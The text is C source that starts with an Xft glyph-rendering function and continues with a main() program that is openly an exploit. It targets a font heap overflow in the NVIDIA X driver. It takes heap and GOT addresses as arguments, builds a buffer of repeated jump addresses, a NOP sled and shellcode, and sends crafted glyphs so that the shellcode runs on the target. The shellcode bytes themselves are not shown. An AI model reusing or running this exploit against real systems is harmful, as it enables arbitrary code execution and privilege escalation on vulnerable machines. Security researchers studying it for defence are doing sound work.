void XftGlyphRender (Display *dpy, int op, Picture src, XftFont *pub, Picture dst, int srcx, int srcy, int x, int y, _Xconst FT_UInt *glyphs, int nglyphs) { XftFontInt *font = (XftFontInt *) pub; int i; FT_UInt missing[XFT_NMISSING]; int nmissing; FT_UInt g, max; int size, width; Glyph wire; char *char8; unsigned short *char16; unsigned int *char32; unsigned int char_local[NUM_LOCAL]; unsigned int *chars; FcBool glyphs_loaded; if (!font->format) return; /* * Load missing glyphs */ nmissing = 0; max = 0; glyphs_loaded = FcFalse; for (i = 0; i < nglyphs; i++) { g = glyphs[i]; if (g > max) max = g; if (XftFontCheckGlyph (dpy, pub, FcTrue, g, missing, &nmissing)) glyphs_loaded = FcTrue; } if (nmissing) XftFontLoadGlyphs (dpy, pub, FcTrue, missing, nmissing); if (!font->glyphset) goto bail1; if (max < 0x100) { width = 1; size = sizeof (char); } else if (max < 0x10000) { width = 2; size = sizeof (unsigned short); } else { width = 4; size = sizeof (unsigned int); } chars = char_local; if (nglyphs * size > sizeof (char_local)) { chars = malloc (nglyphs * size); if (!chars) goto bail1; } char8 = (char *) chars; char16 = (unsigned short *) chars; char32 = (unsigned int *) chars; for (i = 0; i < nglyphs; i++) { wire = (Glyph) glyphs[i]; if (wire >= font->num_glyphs || !font->glyphs[wire]) wire = 0; switch (width) { case 1: char8[i] = (char) wire; break; case 2: char16[i] = (unsigned short) wire; break; case 4: char32[i] = (unsigned long) wire; break; } } switch (width) { case 1: default: XRenderCompositeString8 (dpy, op, src, dst, font->format, font->glyphset, srcx, srcy, x, y, char8, nglyphs); break; case 2: XRenderCompositeString16(dpy, op, src, dst, font->format, font->glyphset, srcx, srcy, x, y, char16, nglyphs); break; case 4: XRenderCompositeString32(dpy, op, src, dst, font->format, font->glyphset, srcx, srcy, x, y, char32, nglyphs); break; } if (chars != char_local) free (chars); bail1: if (glyphs_loaded) _XftFontManageMemory (dpy, pub); }
int main(int argc, char *argv[]) { Display *display; Widget toplevel; XtAppContext app_con; XEvent event; char c, *string; unsigned int i; XDataStr *data; XExposeEvent *expose = (XExposeEvent *)&event; unsigned int heapaddr, gotaddr; if (argc > 2) { heapaddr = strtoul(argv[1],NULL,0); gotaddr = strtoul(argv[2],NULL,0); } else { printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]); return 0; } toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0, &argc, argv, NULL, NULL, 0); display = XtDisplay(toplevel); data = (XDataStr *)malloc(sizeof(XDataStr)); if (data == NULL) { perror("malloc"); exit(EXIT_FAILURE); } data->display = display; data->app = app_con; if (createWin(data) < 0) { fprintf(stderr, "can't create Data Window"); exit(EXIT_FAILURE); } show(data); signal(SIGINT, sigHandler); signal(SIGHUP, sigHandler); signal(SIGQUIT, sigHandler); signal(SIGTERM, sigHandler); /************************************************************************ * BEGIN FONT HEAP OVERFLOW SETUP CODE * * "It's so hard to write a graphics driver that open-sourcing it would * not help." * - Andrew Fear, Software Product Manager (NVIDIA Corporation). **********************************************************************/ XGlyphInfo * glyphs; XRenderPictFormat fmt; XRenderPictFormat *mask = 0; GlyphSet gset; char * buf =0; int offset, cr, numB; int xscreenpos = 32680; int magic_len = 32768 - xscreenpos; int wr_addr_len = 3548; int wr_nop_len = 200; /* Calculate the offset to the Global Offset Table. * 0x2C0000 is the size of the buffer the NVIDIA driver * allocates for us when it is about to draw. */ offset = gotaddr-(heapaddr-0x2C0000); offset += magic_len; glyphs = malloc(sizeof(XGlyphInfo)*3); /* Payload glyph */ glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */ glyphs[0].height = 1; glyphs[0].yOff = 0; glyphs[0].xOff = glyphs[0].width; glyphs[0].x = 0; glyphs[0].y = 0; /* Large offset glyph (untweaked) */ glyphs[1].width=0; glyphs[1].height=0; glyphs[1].yOff=32767; glyphs[1].xOff=0; glyphs[1].x = 0; glyphs[1].y = 0; /* Small offset glyph (tweaked) */ glyphs[2].width=0; glyphs[2].height=0; glyphs[2].yOff=0; glyphs[2].xOff=0; glyphs[2].x = 0; glyphs[2].y = 0; fmt.type = PictTypeDirect; fmt.depth = 8; Glyph * xglyphids = malloc(3*sizeof(Glyph)); xglyphids[0] = 'A'; xglyphids[1] = 'B'; xglyphids[2] = 'C'; int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */ int bufsize = stride*glyphs[0].height; buf = malloc(bufsize); /* Write jump address to the buffer a number of times */ for (cr=0; cr<wr_addr_len; cr+=4) { *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4; } /* Write the NOP instructions until wr_nop_len */ memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len); /* Write the shellcode */ cr+=wr_nop_len; memcpy(buf+cr, shellcode, sizeof(shellcode)); /* Calculate the number of B's required to send */ numB = offset / (glyphs[1].yOff * magic_len); /* We send only one C, but we change its yOff value according to * how much space we have left before we meet the correct index length */ glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len); /* Now create a new buffer for the string data */ string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/); for (cr=0; cr<numB; cr++) string[cr] = 'B'; string[cr] = 'C'; cr++; string[cr] = 'A'; cr++; string[cr] = 0; mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0); gset = XRenderCreateGlyphSet(display, mask); if (mask) { /* Ask the server to tie the glyphs to the glyphset we created, * with our addr/nopslide/shellcode buffer as the alpha data. */ XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize); } /* END FONT HEAP OVERFLOW SETUP CODE */ done = 0; while (!done) { XNextEvent(display, &event); switch(event.type) { case KeyPress: i = XLookupString(&event.xkey, &c, 1, NULL, NULL); if ((i == 1) && ((c == 'q') || (c == 'Q'))) { done = 1; } break; case Expose: XftDrawRect(data->draw, &data->bg, expose->x, expose->y, expose->width, expose->height); /* Send malignant glyphs and execute shellcode on target */ XRenderCompositeString8(display, PictOpOver, XftDrawSrcPicture(data->draw, &data->color), XftDrawPicture(data->draw), mask, gset, 0, 0, xscreenpos, 0, string, strlen(string)); break; } } free(glyphs); free(xglyphids); free(buf); free(string); XFlush(display); XUnmapWindow(data->display, data->win); XUngrabKeyboard(data->display, CurrentTime); XCloseDisplay(display); exit(EXIT_SUCCESS); }